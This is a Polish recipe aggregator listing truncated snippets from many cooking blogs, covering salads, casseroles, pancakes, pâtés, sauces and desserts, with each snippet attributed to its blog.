nasiona Chia można dodawać (całe bądź zmielone) do płatków śniadaniowych, deserów, sałatek a także wypieków ciast (jako zamiennik jajek) oraz pieczywa. Idealnie nadają się do zagęszczania zup i sosów, ponieważ w połączeniu z wodą pęcznieją, wytwarzając żelową konsystencję (podobnie jak siemię lniane). Jedząc je należy pamiętać aby nie przekraczać zalecanej dawki dziennej- 3 łyżeczki oraz pić dużą ilość wody. Wartość

Życie na widelcu
Faszerowane kabaczki i cukinie 217

pysznie, radzę kupić jeśli spotkacie :)   składniki 3 małe kabaczki 1 cukinia farsz 1 cebula 250 g szpinaku 120 g pieczarek 125 g mozzarelli 2 papryczki chipotle  w sosie adobo 2- 3 posiekane ząbki czosnku 1 łyżka pasty pomidorowej 1/3 szklanki suchej kaszy kuskus przygotowanie Cukinie i kabaczki umyć, osuszyć , przekroić wzdłuż na pół. Przy pomocy łyżeczki usunąć pestki

Stare Gary
Naleśniki owsiane z tuńczykiem | bez laktozy 230

wodę. Obieramy pół ogórka. Kroimy w cienkie plasterki i układamy na połowie naleśnika. Układamy pół puszki tuńczyka. Dorzucamy rukolę. Układamy plasterki papryki. Zawijamy w rulonik. Podajemy samodzielnie lub z sosem na bazie jogurtu

Czarnawisienka
Sałatka kalafiorowo-brokułowa 188

jajka kroję w średnią kostkę i dodaję do wystudzonych kwiatów. Dodaję do smaku sól i pieprz. Śmietanę, majonez i musztardę mieszam razem i dodaję do sałatki, mieszam by sos pokrył wszystkie składniki i nakładam na talerz. W wersji light sałatkę proponuję polać jogurtem naturalnym. SMACZNEGO

Bea(u)ty kitchen
Sałatka brokułowa z pomidorami 164

szczypiorek myję i drobno siekam. Wszystkie warzywa wrzucam  do salaterki i skrapiam sokiem z cytryny. Ketchup, majonez i jogurt mieszam razem, doprawiam do smaku solą, pieprzem. Sosem polewam przygotowane warzywa, posypuję  po wierzchu szczypiorkiem i gotowe. SMACZNEGO

Bea(u)ty kitchen
Sałatka chrzanowa 194

zalewy. Ser ścieram na tarce jarzynowej o średnich oczkach.szynkę kroję w kostkę. Wszystkie składniki wrzucam do miski . Doprawiam solą i pieprzem. Majonez, śmietanę i chrzan mieszam i sosem polewam  sałatkę. Koperek myję, suszę i siekam. Posypuję sałatkę i wszystko razem łączę ze sobą. SMACZNEGO

Bea(u)ty kitchen
Sałatka z buraczków czerwonych na liściach sałaty 206

wcześniej:) Składniki: 1/2 kg buraków czerwonych 1/2 słoika ogórków kiszonych  1 mały słoik pieczarek marynowanych lub 1/2 dużego  1/2 puszki kukurydzy konserwowej 1/2 puszki groszku konserwowego Sos: 1 jogurt naturalny lub śmietana 18% 2-3 łyżki majonezu sól pieprz Dodatki: kilka liści sałaty Wykonanie: Buraczki gotuję do miękkości, obieram i ścieram na tarce jarzynowej o dużych oczkach

Bea(u)ty kitchen
Liebster blog 191

mieć taką moją własną Książkę Kucharską:) 4.Inspiruje mnie wiele rzeczy, czasem jakiś inny blog, czasem jakiś produkt, ale większość to z przepisy wyniesione z domu rodzinnego 5.Żeberka w sosie miodowym na kukurydzy 6.Potrzebuję wielu urządzeń, ale chyba brak piekarnika najbardziej by mi doskwierał, bo bez piekarnika to już nic bym nie upiekła:D 7. Harlan Coben- Nie mów

Bea(u)ty kitchen
Cebula nadziewana 215

danie jest świetne jako przystawka lub jako danie główne z dodatkiem sosu i ziemniaków. Wypróbujcie, warto:) Składniki: 6 dużych cebul 25 dag mięsa mielonego 10 dag ryżu 1/2 szklanki śmietany 1 łyżka masła lub margaryny natka pietruszki koperek sól pieprz szczypta kurkumy Wykonanie: Cebule obieram, myję w zimnej wodzie, wrzucam do lekko osolonego wrzątku i gotuję 10 minut.  Wyjmuję

Bea(u)ty kitchen
Makaronowa zapiekanka ze szpinakiem 198

dodając do niego roztarty czosnek oraz sól do smaku. Formę do zapiekania smaruję masłem i układam na przemian makaron ze szpinakiem. Śmietanę, jajko, sól i pieprz mieszam razem. Do sosu dodaję połowę startego żółtego sera i polewam zapiekankę. Wstawiam do piekarnika nagrzanego do temperatury 180'C na ok 30 min. Po tym czasie posypuję wierzch pozostałym startym żółtym serem

Bea(u)ty kitchen
Placki ziemniaczane z dipem czosnkowym 184

twarde. Mieszam dokładnie ciasto, rozgrzewam olej i smażę niewielkie porcje ciasta z obu stron na rumiano. Śmietanę, majonez i musztardę mieszam ze sobą, czosnek przepuszczam przez praskę, dodaję do sosu. Doprawiam solą i sokiem z cytryny. Koperek myję, osuszam i siekam.  Na talerzu kładę kilka placków, dip  nakładam po między plackami. Po wierzchu posypuję posiekanym koperkiem i gotowe

Bea(u)ty kitchen
Sałatka śledziowa z porem 193

następnie w plasterki, solę i odstawiam by zmiękł i odciskam z nadmiaru soku. Wszystkie składniki mieszam ze sobą. Groszek osączam na sicie i miksuję ze śmietaną za pomocą blendera. Sos doprawiam solą i pieprzem i polewam sałatkę. Wierzch posypuję posiekanym porem SMACZNEGO

Bea(u)ty kitchen
Domowy makaron 221

paseczki.   Wrzącą wodę solę i wrzucam partiami pokrojony makaron. Po około 5-7 minutach wyjmuję łyżką i nakładam w talerze.Jeżeli makaron ma czekać dłużej np: na sos lub zupę, wtedy hartuję zimną wodą, przekładam do miski na makaron i skrapiam oliwą by się nie posklejał. Od czasu do czasu przemieszam i gotowe. SMACZNEGO

Bea(u)ty kitchen
Panga po cygańsku 196

solę i odstawiam co najmniej na godzinę do lodówki.  Cebulę i czosnek obieram i siekam. Do natłuszczonej formy do zapiekania wkładam filety, przysypuję cebulą wymieszaną z czosnkiem, polewam sosem z ketchupu, musztardy i oliwy, przykrywam i wstawiam do piekarnika nagrzanego do 200'C na 30 minut.   Po 25 minutach zdejmuję przykrywkę, posypuję rozmarynem i zapiekam bez przykrycia przez

Bea(u)ty kitchen
Sakiewki schabowe z nadzieniem serowo-porowym 185

zamykam naczynie. Piekarnik nagrzewam do 200°C, wstawiam sakiewki na 10-15 min, następnie zmniejszam temperaturę do 180° C i piekę przez około godzinę. Podaję z ziemniakami i sosem z pieczenia lub jako przystawkę

Bea(u)ty kitchen
Kolorowa sałatka z octem balsamicznym 172

moja wersja sałatki, którą zachwycali się goście :) Składniki: 1 główka sałaty 1 czerwona cebula 3-4 pomidory 2 ogórki  1 puszka kukurydzy konserwowej 1 puszka czerwonej fasoli konserwowej Sos do sałatki: sok z 1 limonki 1 łyżeczka octu balsamicznego 1 łyżka brązowego cukru sól pieprz Wykonanie: Sałatę myję, osuszam i każdy liść, osobno, rozrywam na drobne kawałki. Cebulę obieram

Bea(u)ty kitchen
Pasztet z wątróbek drobiowych 210

Podduszam przez kilka minut, podlewam winem i ponownie duszę przez około 5 minut, doprawiam do smaku.   Zestawiam i studzę do temperatury pokojowej. Wszystko przekładam łącznie  z sosem z duszenia i miksuję na gładką masę. Dodaję  miękkie masło i ponownie miksuję. Dodaję majonez, w razie konieczności doprawiam do smaku i mieszam. Foremkę wykładam folią do żywności, nakładam

Bea(u)ty kitchen
Sałatka z rukoli 197

czerwona papryka 3 jajka 5-6 oliwek zielonych nadziewanych papryką 5-6 oliwek czarnych Dressing: 2 łyżeczki miodu 2 łyżki octu balsamicznego 2 łyżki oleju ryżowego 2 łyżeczki sosu sojowego ciemnego Wykonanie:  Umytą i osuszoną rukolę przekładam do salaterki. Paprykę kroję w kostkę, jajka gotuję na twardo, obieram i kroję w kostkę. Oliwki zielone kroję wzdłuż na połowy

Bea(u)ty kitchen
Lody śmietankowo-malinowe z polewą czekoladową 178

dobrze schłodzonej masy lodowej . W międzyczasie składniki na polewę mieszam ze sobą w kubeczku  ( nie podgrzewam) i odstawiam do lodówki. Gotowe lody nakładam łyżka do salaterki i polewam sosem czekoladowym

Ciasteczkowy Potwór
Kaszotto czeskie 197

Danie z kaszy jęczmiennej, pachnące boczkiem, grzybami i kminkiem. Pomysł na konkretny, męski obiad dla 3-4 osób. Świetnie pasuje do niego sos grzybowy. 100 g kaszy jęczmiennej (1 woreczek) 300 g boczku w kawałku 2 cebule 3 ząbki czosnku 20- 40 g suszonych grzybów 1 łyżka smalcu 1 łyżeczka mielonego kminku oregano, sól, pieprz ½ kostki rosołowej lub grzybowej Suszone

Trzeci talerz
Marchewka po koreańsku 253

pikantna, jednak smak słony i słodki stracą nieco mocy. Marchewka po koreańsku pasuje do łagodnych dać typu ryż z duszonymi udkami kurczaka, czy tłuczone ziemniaki z bitkami w sosie itp. Marchewka po koreańsku, wbrew nazwie, jest tradycyjną surówką bardzo lubianą za naszą wschodnią granicą. Ma ona nawet własną historię. Podobno powstała w czasach kryzysu, kiedy radzieckie gospodynie nie mogły przygotować

Trzeci talerz
Mielone z ogórkiem kiszonym w sosie musztardowym z koperkiem 248

mięso wyciągnąć z garnka. 8. Do garnka dodać 3 łyżeczki musztardy, a następnie zaciągnąć rozrobioną w wodzie mąką. Doprawić do smaku solą i pieprzem. 9. Mięso ponownie przełożyć do sosu i gotować na małym ogniu przez kolejne

A Ty Smakuj Mnie
Lazania z quinoa i 4 serami 311

Lazania to moje ulubione danie włoskie. Kombinacji na lazanię tyle ile osób gotujących, zasada główna jednak to plastry makaronu przekładane i polewane sosem. Oto moja wersja lazanii z quinoą. Lazania z quinoa z 4 serami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Surówka "Coleslaw" 137

drobno pokroić w kosteczkę. Dołożyć do miski z kapustą, wymieszać. W kubku połączyć 1/2 szklanki majonezu z mlekiem, sokiem z cytryny, cukrem pudrem oraz 1/6 szklanki śmietany. Polać gotowym sosem warzywa w misce. Całość dokładnie wymieszać łyżką. Przyprawić solą i pieprzem. Wstawić do lodówki do tzw. "przegryzienia się" w celu zmięknięcia kapusty. Surówkę odstawić najlepiej na całą

In my kitchen
Tagliatelle w sosie curry z kurczakiem i migdałami 198

uprażyć migdały. Przełożyć do miseczki. Na jednej łyżce oleju zarumienić szalotkę pokrojoną w kostkę. Dodać czosnek przeciśnięty przez praskę. Chwilę smażyć. Wlać śmietankę, dodać przyprawy i migdały. Gotować, aż sos delikatnie zgęstnieje. Dodać kurczaka. Gotować 2 minuty. Na koniec wymieszać dokładnie z makaronem. Przed podaniem można delikatnie posypać prażonymi płatkami migdałów

In my kitchen
Sałatka pieczarkowo-kurczakowa 440

pietruszkę drobno posiekać. Przygotowane składniki wymieszać. Majonez z jogurtem wymieszać w proporcji 1:1, dodać przeciśnięte przez praskę 3 ząbki czosnku, sól i pieprz, wszystko razem dobrze wymieszać.  Sos majonezowy dodać do pokrojonych składników sałatki, wymieszać. Sałatkę przykryć folią spożywczą i odstawić do lodówki, by nabrała smaku

In my kitchen
Leczo warzywne z cykorią i fenkułem (vegan) 287

się zielenić i budzić do życia. To idealna okazja, aby zregenerować nasze organizmy porządną porcją warzyw. Dlatego dziś chciałbym Wam przedstawić moje warzywne leczo z cykorią i fenkułem w sosie pomidorowym. To lekkie i sycące danie, które polecam Wam na wiosenny lunch. Czas przygotowania: 45 min. Porcja dla 10 osób Koszt przygotowania: 20,00 zł SKŁADNIKI: 1 cukinia

kulinarnyJa
Kiszone cytryny, moje ulubione 186

tylko w teorii :). Cytryny znajdziecie w potrawach kuchni  arabskiej i i n dyjskiej , dodane do polskiego gulaszu też mogą sprawić cuda. P asują  do wszelkiego rodzaju mięs, sosów, a nawet  drinków (zwłaszcza krwawej Mary). J uż niewielki kawałek ukiszonej cytryny może nadać nowy wymiar przygotowywanej potrawie, więc  łatwo się w nich zakochać ;),  i po miesiącu

SzczyptaSmaQ
Pudding z nasion chia 230

desery, dla osób odchudzających się, czy chorych na cukrzycę. Można jeść je same – popijając dużą ilością wody, można posypywać nimi sałatki, można je zmielić i zagęszczać nimi sosy, można dodawać do jogurtów i owsianek, lecz najmodniejsze są teraz puddingi, które powstają po zmieszaniu nasion chia z mlekiem lub sokiem. Nasiona pęcznieją w żołądku pozostawiając na długo uczucie sytości. Dają

Poezja smaku
WIOSENNA TARTA CIECIORKOWO- OWSIANA Z WARZYWAMI I ŁOSOSIEM 243

odrobiny czerwonej papryki i cebulki oraz doskonałego łososia, gotowanego w mleku z czosnkiem. Łosoś, dzięki takiemu przygotowaniu, pozostał soczysty i rozpływał się w ustach. Całość zatopiona w śmietanowo-jajecznym sosie z dodatkiem tymianku i natki pietruszki. Tarta jest delikatna, a smaki łączą się w niej  doskonale. Jest po prostu pyszna! :) Oprócz chłodzenia ciasta, tartę robi się bardzo szybko. Koniecznie

Słodko-Słony Świat Ilony
Kiszone cytryny - kuchnia marokańska 202

przez około 6 miesięcy. Przed użyciem opłukać z nadmiaru soli i usunąć pestki.   Zastosowanie: D robno pokrojoną skórkę możemy używać do sałatek .   Do tajine , gulaszy i sosów można użyć zarówno całe ćwiartki, jak i samą skórkę w zależności od tego czy  chcemy uzyskać słabszy czy mocniejszy aromat cytrynowy.  Do rosołu wkładamy tylko skórkę w całości

Kulinaria - potrawy z różnych stron świata
Marynata teriyaki - do drobiu, mięsa i ryb 215

kupić gotową w sklepie, tylko.... po co skoro ta zrobiona w domu będzie smaczniejsza :) Poniżej proporcje na 4 udka z kurczaka albo 4 plastry karkowki. Składniki  1/2 szklanki sosu sojowego 2 łyżeczki brązowego cukru lub płynnego miodu 1/2 łyżeczki imbiru  (najlepiej świeżego, startego na tarce (w ostateczności może być imbir mielony) 2 łyżki stołowe octu winnego 1 duży

Kulinaria - potrawy z różnych stron świata
Naleśniki - przepis na ciasto doskonałe 197

odrobiną mąki lub wody. Na przetartą tłuszczem patelnię wylewamy cienką warstwę ciasta i smażymy z obu stron. Tak przygotowane naleśniki możemy podawać zarówno na słodko (z dżemem, owocami, serem, sosem czekoladowym, bananami itd.) jak i na ostro z farszem mięsnym, ewentualnie z warzywami

Kulinaria - potrawy z różnych stron świata
Pasztet domowy po ... saudyjsku 222

dodać marchewkę. Po około 2 godzinach dodać umytą i pozbawioną żyłek wątróbkę i dusić kolejne 15 minut. Uduszone mięso i marchewkę wyjąć z wywaru i wystudzić, a w powstałym sosie namoczyć bułki. Mięso, warzywa, wątróbkę i bułki zmielić trzykrotnie. Do otrzymanej masy dodać jajka, gałkę muszkatołową, ewentualnie doprawić i bardzo dokładnie wymieszać. Masa powinna być gładka i lśniąca Pasztet przełożyć

Kulinaria - potrawy z różnych stron świata
Baharat - smak Bliskiego Wschodu 198

Baharat to doskonała  saudyjska   mieszanka przypraw stosowana do drobiu, jagnięciny i wołowiny (zwłaszcza smażonych), kuskusu, bulgaru, ryżu oraz wielu zup i sosów. My bardzo często używamy jej do gulaszu wołowego, któremu nadaje pikantny, lekko korzenny smak. Słowo "baharat" ( بهارات ) oznacza w języku arabskim przyprawę  Baharat w różych wariantach (np. z dodatkiem mielonego czosnku, kurkumy, mięty lub curry

Kulinaria - potrawy z różnych stron świata
W paprykowym świecie - faszerowana papryka 205

indyka) 1 duża cebula pokrojona w drobną kostkę 1 całe jajo 2-3 łyżki stołowe bułki tartej olej do podsmażenia cebuli 1 litr przecieru pomidorowego sól, pieprz, cukier i sos sojowy do smaku ewentualnie 4 plasterki kie łbasy chorizio Przygotowanie  Odciać ogonki papryki i wyjąć ze środka białe części wraz z nasionami. Ogonki pozostawić, posłużą nam do zamknięcia papryki

Kulinaria - potrawy z różnych stron świata
Chleb naan 216

rodzaj płaskiego chleba popularnego zarówno w Afganistanie, Arabii Saudyjskiej i innych krajach Zatoki Perskiej jak i w Indiach i Chinach. Często podawany jest do curry i innych dań z sosami. Naan jest najlepszy, kiedy jest świeży, więc lepiej nie robić zapasów. Składniki 2  szklanki maki pszennej (najlepiej chlebowej typu 850) lub mąki tortowej 3/4 szklanki cieplej wody 1 łyżeczka

Kulinaria - potrawy z różnych stron świata
Aromatyczny gulasz drobiowy z żurawiną 244

szklanki) olej do smażenia  sól i pieprz do smaku ewentualnie pół szklanki świeżej żurawiny i natka pietruszki do dekoracji ewentualnie niewielka ilość mąki do zagęszczenia sosu, ale nie sądzę, żeby była potrzebna Przygotowanie Kawałki kurczaka  podsmażyć na oleju na złoty kolor. Na drugiej patelni podsmażyć na oleju pokrojoną cebulę, aż lekko zbrązowieje. Dodać kurczaka, papryczkę chili, kardamon

Kulinaria - potrawy z różnych stron świata
Ogórkowa zupa krem z kaszą jaglaną 262

Khobar , na chwilę obecną bez efektów. Podobno można ją kupić na souku.  W LuLu znalazłem natomiast mąkę jaglaną, więc da się upiec chleb oraz zagęszczać zupy i sosy. Poniżej przepis na ogórkową zupę - krem mojej Szacownej Małżonki Niestety ogórków kiszonych Ola nie potrafi sobie odmówić, więc neutralizuje to kaszą jaglaną :) Składniki pół szklanki kaszy jaglanej opłukanej gorącą wodą

Kulinaria - potrawy z różnych stron świata
Boczek pieczony - multicooker Redmond w akcji 243

czas 1 godzina i zamknąć pokrywę.(w zależności od jakości mięsa może zaistnieć  potrzeba wydłużenia czasu o ok. 15-20 minut. Dzięki temu otrzymamy oprócz boczku bardzo aromatyczny sos, którym po zagęszczeniu zasmażką możemy polać ziemniaki. przepraszamy za jakość zdjęcia, ale fotka została zrobiona telefonem

Kulinaria - potrawy z różnych stron świata
Słodka sałatka z kurczakiem 272

skórki, pokroić w kostkę. Jogurt naturalny wymieszać z pieprzem, posiekaną pietruszką oraz bazylią, dokładnie wymieszać. Pierś grillować na patelni. Do ryżu dodać mięso, pokrojone owoce, kukurydzę, całość polać sosem jogurtowym, posypać zieloną pietruszką i dokładnie wymieszać. Sałatkę podawać schłodzoną.  Smacznego

Fit-amina
Piersi z kurczaka z sosem pieczarkowym z dodatkiem kosmosy ryżowej (Quinoa). 170

multicookerze ugotowałam ją na ustawieniach COOK- QUICK COOK i czas 25 minut. PO tym czasie kosmosę odsączyłam poprzez sitko. Ponownie umieściłam w misie multicookera i dodałam mięso z sosem. Przemieszałam. Ustawiłam program FRY i czas 10 minut. Zamknęłam pokrywę. GOTOWE :) Kosmosę i inne super produkty zamówisz tutaj

ClauditteMissCooking
Przedłużajcie przyjemność! 155

brownie z orzechami. Wyobraźcie sobie ciepłe promienie słońca oblewające Wasze twarze i Was siedzących w ogródku kawiarni z przyjaciółmi i delektujących się borówkowym semifredo, ochładzających się smażonymi lodami z sosem wiśniowo-imbirowym i podgryzających trufelki migdałowe. Wyobraźcie sobie, że właśnie tego dnia przyjeżdżają do Was dawno niewidziani znajomi z różnych zakątków świata, którzy przywożą ze sobą baklavę, panna cottę waniliową

GRUBY WAŁEK
Zupa pho z kurczakiem z wolnowaru 255

mięsa z kurczaka ( mieszane,ciemne i białe)  bez skóry , może być z kością 1500 ml  rosołu drobiowego 2 łyżki brązowego cukru  2 łyżki sosu rybnego 6 - 8 całych gwiazdek anyżu  6 całych ząbków czosnku 3 cm  kawałek świeżego imbiru, obrany i pokrojony w cienkie plasterki 1 laska cynamonu dodatkowo 3 kapusty Pak Choi pokrojone

Stare Gary
POTRAWKA Z KURCZAKA Z CUKINIĄ I MAKARONEM 453

paseczki, oprószamy sola, pieprze, papryką, obsmażamy na oleju. Następnie na patelnię dolewamy bulion, wrzucamy makaron, pokrojoną w kostkę cukinię, posiekany koperek. Doprawiamy wg smaku. Na koniec dodajemy śmietanę. Sos ładnie zgęstniej, mieszamy aby się nie przypaliło

Z Majeczką w kuchni
Makaron z tuńczykiem, ricottą i szałwią 171

odcedzonego z wody i całość dusimy chwilę. Doprawiamy solą i pieprzem, dodajemy posiekaną drobno szałwię (kilka listków odkładamy), dodajemy ricottę i dusimy minutę. Ugotowany makaron mieszamy z dokładnie z sosem, przed podaniem polewamy resztą oliwy z oliwek, posypujemy orzechami i dekorujemy listkami szałwii

Mango Papaja
Omlet z jabłkiem i sosem czekoladowym 132

jabłka. Omlet smażę na rumiano z dwóch stron. W garnuszku gotuję margarynę z wodą, cukrem i kakao. Dokładnie mieszam, aby masa była jednolita. Usmażony omlet wykładam na talerz. Polewam sosem czekoladowym

Tradycyjna kuchnia Kasi
Makaron ze szpinakiem 203

mozzarella. opcjonalnie: ketchup. Wykonanie: Makaron gotujemy zgodnie z zaleceniami na opakowaniu. Szpinak podsmażamy na maśle, dodajemy przeciśnięty przez praskę czosnek. Całość doprawiamy solę i pieprzem oraz dodajemy łyżkę śmietany. Sos szpinakowy dokładnie mieszamy. Na talerz nakładamy porcję makaronu, na niego szpinak, posypujemy mozzarellą. Opcjonalnie możemy dodać łyżeczkę ketchupu.   Smacznego

paapilotkaa
Krokiety ziemniaczane z brokułem i kurczakiem 385

kopytka czy kluski, a ja przygotowuję krokiety ziemniaczane na kolację. Czasami z samymi ziemniakami, czasami dodaję kiełbaskę z cebulką, a dzisiaj warzywnie, brokułowo i z kurczakiem. To tego sos na przykład czosnkowy albo Wasz ulubiony. Takie krokiety świetnie nadają się na przystawkę lub imprezę :) Składniki: 500 g ziemniaków 1 marchewka 1 pierś kurczaka ok 500 g brokuła

Niezły Młynek
Zapiekanka warzywna z naturalnym ryżem grillowanym kurczakiem z sosem porzeczkowym. 169

posypujemy parmezanem oraz podlewamy dwiema łyżkami śmietanki 30%. Wszystko uciskając przykrywamy drugą połową ryżu. Zapiekamy w piekarniku w temperaturze 180 stopni, funkcja góra - dół, pod przykryciem z folii aluminiowej. Sos. Jogurt naturalny łączymy z łyżeczką dżemu z czarnej porzeczki, wyciśniętym ząbkiem czosnku, solą, pieprzem i małą łyżeczką majonezu

BaRepas
FIT zapiekanka makaronowa ze szpinakiem i kurczakiem 1203

makaronu - 1/2 opakowania mrożonego szpinaku (można użyć całego) - 400 g piersi z kurczaka - cebula - 3 ząbki czosnku - łyżka oliwy, masła i zielonego pesto (opcjonalnie) - sól i czosnek w proszku sos  - 200 g jogurtu naturalnego - duże jajko dodatkowo -ok. 100 g startego, żółtego sera - 1 duży pomidor Przygotowanie: Mięso dokładnie umyć i pokroić w drobną kostkę, doprawić. Piekarnik nastawić

Kuchnia Ellie
Żeberka duszone z cebulą, miodem i jabłkiem 228

powinno być prawie miękkie. Po tym czasie dorzucić obrane, pokrojone w drobna koskę jabłka i musztardę. Przykryć i dusić kolejne 15 minut... jabłka powinny się prawie rozpaść tworząc gęsty sos. Dodać łyżkę miodu, majeranek, pokrojoną papryczkę, ewentualnie trochę soli.  Danie jest gotowe do podania bezpośrednio po przygotowaniu. Życzę smacznego

Gosia gotuje
934. Gofry trochę inaczej. 207

Dyniowe gofry z rukolą, camembertem oraz orzechami;  z sosem miodowo-musztardowym  ... bo nie samymi ciastami człowiek żyje..a po głowie chodzą mi już podobne wariacje (camembertem i gruszka < 3) Święta, świętami, ale teraz trzeba w końcu do książek zajrzeć, miłego dnia :) Ask Facebook

More food, love and dreams
Pieczeń rzymska z jajkami 184

Pyszna, soczysta pieczeń jajkiem wypełniona, ziołami i pieprzem doprawiona. Może być na ciepło z sosem podawana lub z kromeczką chleba na zimno zjadana .  Składniki: 500 g mielonego mięsa wołowego, 500 g mielonego mięsa wieprzowego, 1 ½ suchej bułki kajzerki, 1 duża cebula, 2 surowe jajka, 2 łyżki oleju rzepakowego, 6 ugotowanych jajek, 1 łyżka soli, 1 łyżka pieprzu czarnego świeżo

Moniki Smakołyki
Sałatka chrzanowa z marynowaną cebulką 332

zetrzeć na tarce o grubych oczkach. Ogórka również.       Natkę pietruszki drobno posiekać. 3.       Sos: majonez, jogurt i chrzan wymieszać w miseczce dodając pieprz i ewentualnie sól. Połączyć z resztą składników, wymieszać i schłodzić

Trzeci talerz
Wątróbka z grzybami leśnymi i brokułem 208

oczyszczoną z błon wątróbkę obtoczyć w mące. Podsmażyć z obu stron na niewielkiej ilości oleju. Dodać grzyby i cebulę. Zalać wywarem z grzybów (tak, żeby nie było zupy, ale sos). Chwilę razem dusić, doprawić wg smaku solą i pieprzem, a następnie zabielić łyżką śmietany. Na koniec dodać brokuł

Trzeci talerz
Krokiety z kaszanką 216

Alternatywa dla tradycyjnych krokietów z kapustą, czy pieczarkami. Dobrze smakują zarówno solo, jak i z sosem grzybowym, czy choćby ketchupem. Przepis na 8 krokietów.   Naleśniki: 250 ml mleka 350 g mąki 30 ml oleju roślinnego 2 jajka 250 ml gorącej wody sól, papryka ostra w proszku Mleko zmiksować z jajkiem i mąką do połączenia składników. Dodawać stopniowo wodę

Trzeci talerz
Tarta z tuńczykiem 195

ciasto francuskie 1 puszka tuńczyka w kawałkach w sosie własnym ½ puszki krojonych pomidorów 5 pieczarek pokrojonych w cienkie plasterki 1 cebula pokrojona w cienkie plasterki kilka oliwek 100 g sera mozarella, feta lub grana podano sól, czosnek granulowany, oregano, słodka papryka w proszku Pomidory z puszki odparować na patelni do zgęstnienia. Doprawić do smaku solą i przyprawami. Dodać odsączonego tuńczyka

Trzeci talerz
Babka cytrynowa 239

cukier. 4. Dalej ubijając dodać połączone mąki 5. Masło roztopić na małym ogniu, Po roztopieniu, delikatnie ostudzić i przestudzone, płynne dodać do masy. 6. Ubijać na małych obrotach dodać sos z cytryny, skórkę z cytryny i opcjonalnie aromat cytrynowy 7. Gotową, płynną masę przelać do formy na babkę. Piec: 45-80 min w temperaturze 180 stopni, aż do momentu

KreatywnePiny
Panna Cotta 180

Chyba najpopularniejszy z włoskich deserów . Mnie szalenie podoba się wersja z galaretką zamiast sosu i pierwszy raz takową zrobiłam. Można ją przygotować samodzielnie ze świeżych owoców – i taka jest najlepsza! Jeśli podoba Ci się ten przepis, zachęcam do polubienia mojego bloga na Facebooku Zapraszam! Będziesz wtedy zawsze na bieżąco z nowymi wpisami! Możesz również polubić ten przepis. Składniki

Za drzwiami kuchni
Filet z kurczaka w zakręconych szaszłykach 333

roladki wyjdą 2 szaszłyki po 3 plastry Szaszłyk smażymy chwilę na patelni z jednej i drugiej strony… i gotowe Można również upiec szaszłyki w piekarniku. Fajnie smakuje z sosem pieczarkowym Smacznego! http://www.zadrzwiamikuchni.pl/2013/02/filet-z-kurczaka-w-zakreconych-szaszlykach/ Post Filet z kurczaka w zakręconych szaszłykach pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Bułka pita – idealny Kebab! 409

pszennej 20 g świeżych drożdży 2/3 szklanki wody 1 łyżeczka soli 1 łyżeczka oleju 1/2 łyżeczki cukru Wnętrze: kapusta pekińska kurczak smażony w przyprawie kebab – gyros pomidor kukurydza sos lub Sałatka kebab Przygotowanie: Drożdże rozpuszczamy w ciepłej wodzie, dodajemy cukier i połowę mąki . Gdy drożdże zaczną pracować dodajemy resztę mąki, sól , olej i zagniatamy ciasto przez kilka minut. Pozostawiamy

Za drzwiami kuchni
Naleśniki bananowe 216

patelnię kilka kropel i rozsmarować silikonowym pędzelkiem). Śmietanę zmiksować z cukrem pudrem . Naleśniki podawać z bitą śmietaną i pokrojonym bananem. Oczywiście można dodać więcej ulubionych dodatków! My polaliśmy je sosem czekoladowym Smacznego! Post Naleśniki bananowe pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Kajmakowa babka Wielkanocna / kajmakowe muffinki 208

trzeba natłuszczać. Piec w temperaturze 180 stopni przez ok 45 – 50 min. Pozostały kajmak (ok 100 g) lekko podgrzać ze śmietanką , do połączenia składników. Tak powstałym sosem udekorować babkę i posypać migdałami . Smacznego! Post Kajmakowa babka Wielkanocna / kajmakowe muffinki pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Burrito i tortilla - zwinięta kanapka na szybko 205

wodą. Farsze mogą być przeróżne ;) U mnie ten rodzaj kanapki serwuję, gdy oczyszczam lodówkę z różnych resztek. W tym tygodniu nie nagromadziło się tego dużo, więc dodałam: sardynki w sosie pomidorowym paski papryki czerwonej po kilka grzybków marynowanych kiełki soczewicy Bardzo fajnie sprawdzają się: krążki lub półksiężyce pora słupki ogórków konserwowych tarta marchew suszone pomidory z zalewy oliwnej kawałki kurczaka

Weekendy w domu i ogrodzie
Kasztanowo-pszenne burrito z warzywami i tuńczykiem 177

burrito tortille jeszcze raz podgrzać, by ładniej się dawały rolować. Układać na środku, co się nawinie. Dodatki u mnie: odsączony tuńczyk z puszki (jest mokry, więc nie dawałam żadnego sosu) plaster wędliny plaster sera żółtego talarki selera naciowego pałeczki czerwonej papryki liście cykorii belgijskiej natka pietruszki kiełki soczewicy Zagiąć brzeg (ten od naszej strony) tortilli do środka i zwijać ciasno

Weekendy w domu i ogrodzie
Pieczeń mielonka z ciecierzycy i dyni (bez glutenu) 162

niemal zawsze goszczą na świątecznym stole. Ale szukam czegoś nowego. Tym razem pomysł na potrawę bez glutenu. Myślę, że będzie dobrym rozwiązaniem na kanapki, a po dodaniu jakiegoś chłodnego sosu, będzie można zjeść jako przystawkę lub przegryzkę bez mięsa. Składniki : 100 g zmielonej gotowanej ciecierzycy 10 zblanszowanych młodych listków jarmużu (u mnie fioletowy) 100 g rozmrożonego rozdrobnionego szpinaku ćwiartka drobno

Weekendy w domu i ogrodzie
Miodowo-limonkowa marchewka do obiadu 385

temu, więc proszę wybaczyć, że nie pamiętam tytułu. W tym roku przypomniał mi to Karol Okrasa w powtórce swojego programu, do którego czerpie inspiracje, jeżdżąc żółtą syrenką po Polsce. Sos natomiast jest moim pomysłem :) Składniki (na dwie osoby) : 4 zgrabne marchewki limonka łyżeczka miodu (u mnie zielony skrystalizowany) oliwa z oliwek Marchewki pokroić obieraczką do jarzyn w cienkie paski (tagliatelle

Weekendy w domu i ogrodzie
TORT WĄTRÓBKOWY 305

konsystencje ciasta na naleśniki. 6. Na patelnie wlewamy troszkę oleju i rozprowadzamy go po całej patelni. 7. Na rozgrzany tłuszcz wlewamy nasze wątróbkowe ciasto łyżką np. do sosów, tak by pokryło cale dno patelni i smażymy takie wątróbkowe nalesniki po jednej i drugiej stronie. 8. Ząbki czosnku obieramy z łupiny, przepuszczamy przez wyciskarkę do czosnku i dokładnie rozcieramy. Łączymy

Kulinarnie z Polką na Kresach
SAŁATKA JARZYNOWA 232

